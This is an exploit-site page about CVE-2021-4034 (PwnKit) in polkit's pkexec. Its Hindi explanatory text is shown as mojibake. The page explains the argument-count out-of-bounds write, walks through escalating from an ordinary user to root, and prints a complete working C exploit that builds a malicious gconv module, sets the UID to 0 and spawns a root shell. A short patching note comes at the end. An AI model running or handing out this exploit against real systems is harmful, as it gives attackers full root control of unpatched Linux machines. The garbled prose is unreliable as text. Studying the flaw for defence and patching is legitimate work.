Sploitus

Exploit for CVE-2021-4034

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN107 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LUCASPDINIZ-CVE-2021-4034
# Pwnkit рднреЗрджреНрдпрддрд╛ - CVE-2021-4034 ЁЯУЧ

### рдкрд░рд┐рдЪрдп

2021 рдореЗрдВ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рд▓реЗрдХрд┐рди рдЬрдирд╡рд░реА 2022 рдореЗрдВ рдШреЛрд╖рд┐рдд рдФрд░ рдЦреБрд▓рд╛рд╕рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛, **CVE-2021-4034** рдХреЛ рдкреНрдпрд╛рд░ рд╕реЗ Pwnkit рдирд╛рдо рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд▓рдЧрднрдЧ рд╕рднреА OS - Linux рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ **Policy Toolkit - Polkit рдкреИрдХреЗрдЬ** рдХреЗ рд╕рднреА рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдмрд┐рдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдкрдиреА рдкрд╣реБрдБрдЪ рдХреЛ OS рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рддрдХ рд▓рдВрдмрд╡рдд рд░реВрдк рд╕реЗ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

> [!IMPORTANT] рд╣рдо рдпрд╣ рднреЗрджреНрдпрддрд╛ pkexec рд╕рдВрд╕реНрдХрд░рдг 0.105 рдпрд╛ рдЙрд╕рд╕реЗ рдкрд╣рд▓реЗ рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдЕрддреНрдпрдВрдд рдЧрдВрднреАрд░ CVE рд╣реИ, рдЬрд┐рд╕реЗ **NIST.GOV** рдХреЗ рдЕрдиреБрд╕рд╛рд░ **7.8 рдЕрдВрдХреЛрдВ рдХреЗ CVSS рд╕реНрдХреЛрд░** рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд░реНрдЧреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд рдЗрд╕реЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ (Web рдкрд╣реБрдБрдЪ) рд╢реЛрд╖рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред

![](https://assets.kitploit.com/production/public/readmes/37602/0970b4df4f9b5e0ece1190ac4d57c87b90af46a2208c7c37af1d40a62f45a4d6.png)

### Polkit рдХреНрдпрд╛ рд╣реИ тЭУ

Polkit Linux рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдРрд╕рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рдХреЛрдИ рдРрд╕рд╛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ), polkit рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, PKexec рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рд╕рд╛рде, рд╣рдо polkit рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдиреБрдорддрд┐ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдкреВрдЫрддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣реИ;

![](https://assets.kitploit.com/production/public/readmes/37602/d507e4a6e58d178ee7c98f74f8e363afa99bd8aeb4c299c166c5fbc893621eeb.png)

## рдЕрдиреНрд╡реЗрд╖рдг рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ тЪая╕П

рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, Pwnkit рднреЗрджреНрдпрддрд╛ PKexec рдореЗрдВ (рдЕрдиреБрдорддрд┐ рдЬрд╛рдБрдЪ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ) рдореМрдЬреВрдж рд╣реИ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП, рдЬрдм PKexec рдХреЛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди (CLI) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдорд╛рдкрджрдВрдбреЛрдВ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдореЗрдВ рдХреЛрдИ рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЬрд╣рд╛рдБ рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ **"Out-of-Bounds Write"** рдирд╛рдордХ рдПрдХ рджреЛрд╖ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред

PKexec рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рддрд░реНрдХ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдЗрд╕реЗ for-loop рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдирд╛рдо рдХреЛ рдСрдлрд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓рд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рддрд░реНрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдбреЗрдХреНрд╕ 1 рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдирд╛рдо рддрд░реНрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЕрдиреБрдХреНрд░рдордг рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╕ рдСрдлрд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо рдХреЛрдИ рддрд░реНрдХ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрдВрдбреЗрдХреНрд╕ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ 1 рдкрд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдЖрдЗрдП рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдПрдБред

root@kitploit:~
    
    
    for(n=1; n < number_of_arguments; n++){
    }
    

рдпрджрд┐ рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ 0 рд╣реИ, рддреЛ 'N' рдХрднреА рднреА рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рдХрдо рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, 'N' рдПрдХ рдХреЗ рдмрд░рд╛рдмрд░ рд░рд╣рддрд╛ рд╣реИ рдФрд░ рд▓реВрдк **рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕** рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реВрдк рдирд╣реАрдВ рдЪрд▓реЗрдЧрд╛ред

рдЪреВрдБрдХрд┐ рдХреЛрдИ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рддрд░реНрдХ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЗрдВрдбреЗрдХреНрд╕ n рдкрд░ рдХреЛрдИ рддрд░реНрдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ тАФ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдореЛрд░реА рдореЗрдВ рдЕрдЧрд▓реА рдЪреАрдЬрд╝ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд╕рдВрдпреЛрдЧ рд╕реЗ execve() рдирд╛рдордХ C рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреА рд╕реВрдЪреА рдореЗрдВ рдкрд╣рд▓рд╛ рдорд╛рди рд╣реЛрддрд╛ рд╣реИред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, PKexec рдХреЛ рддрд░реНрдХреЛрдВ рдХреА рдПрдХ рд╢реВрдиреНрдп рд╕реВрдЪреА рджреЗрдХрд░, рд╣рдо рдЗрд╕реЗ рдПрдХ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

## рдЖрдЗрдП рдЕрдиреНрд╡реЗрд╖рдг рдХрд░реЗрдВ !!! тЬПя╕П

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВред рд╕рдордп рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреЗ рдорд┐рддреНрд░ **Arthepsy's** рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреА рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА C рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред

рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ `GCONV_PATH` рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╕рд╛рдЭрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ /bin/sh рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред

Arthepsy - CVE-2021-4034 - exploit.c

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рднреЗрджреНрдп рд╣реЛрд╕реНрдЯ рддрдХ рдЖрдкрдХреА рдкрд╣реБрдБрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВрдЧреЗред

![](https://assets.kitploit.com/production/public/readmes/37602/99fae617fed174fa5060d7e03a7fb19fc3ffabc7df94bb72e898db4801d74f9e.png)

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ UID 1000 рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИ (root рдирд╣реАрдВ) рдФрд░ рд╣рдо рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреАрдп рдХрд╛рд░реНрдпреЛрдВ, рдЬреИрд╕реЗ рдХрд┐ Useradd, рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

  * рдЖрдЗрдП рдЬрд▓рд╛рдПрдБ ЁЯФе



![](https://assets.kitploit.com/production/public/readmes/37602/352953768ed9cd789c150ccde8aa79f87f64df8f4590425cfb2c9e9ab095237e.png)

рд╣рдореЗрдВ root рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдорд┐рд▓ рдЧрдИ рдФрд░ рд╣рдо Useradd рдЬреИрд╕реЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ (рддреНрд░реБрдЯрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреА рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ)ред

рдкреВрд░реНрдг тЬФя╕П

## рдереЛрдбрд╝рд╛ рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг ЁЯТб

рдЗрд╕ рдЕрдиреНрд╡реЗрд╖рдг рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдиреАрдЪреЗ рджреА рдЧрдИ рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ;

root@kitploit:~
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    char *shell = 
    	"#include <stdio.h>\n"
    	"#include <stdlib.h>\n"
    	"#include <unistd.h>\n\n"
    	"void gconv() {}\n"
    	"void gconv_init() {\n"
    	"	setuid(0); setgid(0);\n"
    	"	seteuid(0); setegid(0);\n"
    	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
    	"	exit(0);\n"
    	"}";
    
    int main(int argc, char *argv[]) {
    	FILE *fp;
    	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    	fp = fopen("pwnkit/pwnkit.c", "w");
    	fprintf(fp, "%s", shell);
    	fclose(fp);
    	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
    }
    

рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд┐рдд PKexec рддрд░реНрдХреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ `GCONV_PATH` рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ /bin/sh рдХреЗ рд╕рд╛рде рдкреБрдирд░реНрд▓реЗрдЦрд┐рдд рдХрд░рддрд╛ рд╣реИ рддрдерд╛ stuid(0) (root) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред

## рдкреИрдЪрд┐рдВрдЧ тЬЕ

OS рдкреИрдХреЗрдЬ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рд╣реА рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рдХреЗрд╡рд▓ `sudo apt update && sudo apt upgrade` рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░, рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдирд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдВрднрд╡ рд╣реИред